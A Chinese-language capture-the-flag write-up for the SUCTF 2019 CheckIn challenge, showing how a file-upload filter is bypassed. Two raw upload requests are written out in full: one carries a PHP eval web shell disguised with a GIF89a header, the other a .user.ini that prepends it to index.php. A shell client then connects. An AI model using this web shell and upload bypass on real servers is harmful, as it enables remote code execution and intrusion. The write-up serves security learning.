题目链接:[SUCTF 2019]CheckIn。
打开后,环境如下。
可以看到,是一道文件上传题目,尝试上传 php 文件,发现存在检测。
爆破其他可支持的 php 文件后缀无果。
尝试上传 .htaccess 文件,发现存在检测是否为图片的机制。
通过加入 GIF 文件幻数后成功绕过检测图片的机制,但是这样的话 ".htaccess" 被破坏,无法利用。
因此尝试上传 ".user.ini" 文件(利用 .user.ini 的前提是服务器开启了 CGI 或者 FastCGI,并且上传文件的存储路径下有 index.php 等可执行文件)。
.user.ini 中有两个配置:auto_prepend_file 和 auto_append_file。这两个配置的意思就是:我们指定一个文件(如 1.jpg),那么该文件就会被包含在要执行的 PHP 文件中(如 index.php),相当于在 index.php 中插入一句:require(./1.jpg);
。这两个设置的区别只是在于 auto_prepend_file 是在文件前插入,auto_append_file 在文件最后插入。
因此,发送上传请求包如下。
POST /index.php HTTP/1.1
Host: 1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81
Content-Length: 345
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1E7AzKRaUeElWNAh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive------WebKitFormBoundary1E7AzKRaUeElWNAh
Content-Disposition: form-data; name="fileUpload"; filename="1.jpg"
Content-Type: image/jpegGIF89a
<script language="php">@eval($_POST['cmd']);</script>
------WebKitFormBoundary1E7AzKRaUeElWNAh
Content-Disposition: form-data; name="upload"提交
------WebKitFormBoundary1E7AzKRaUeElWNAh--
随后,再次发送上传请求包如下。
POST /index.php HTTP/1.1
Host: 1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1E7AzKRaUeElWNAh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://1980b771-4ab1-4c55-8fd3-5be98b8c8741.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive------WebKitFormBoundary1E7AzKRaUeElWNAh
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpegGIF89a
auto_prepend_file = 1.jpg
------WebKitFormBoundary1E7AzKRaUeElWNAh
Content-Disposition: form-data; name="upload"提交
------WebKitFormBoundary1E7AzKRaUeElWNAh--
最终,使用 AntSword 连接即可。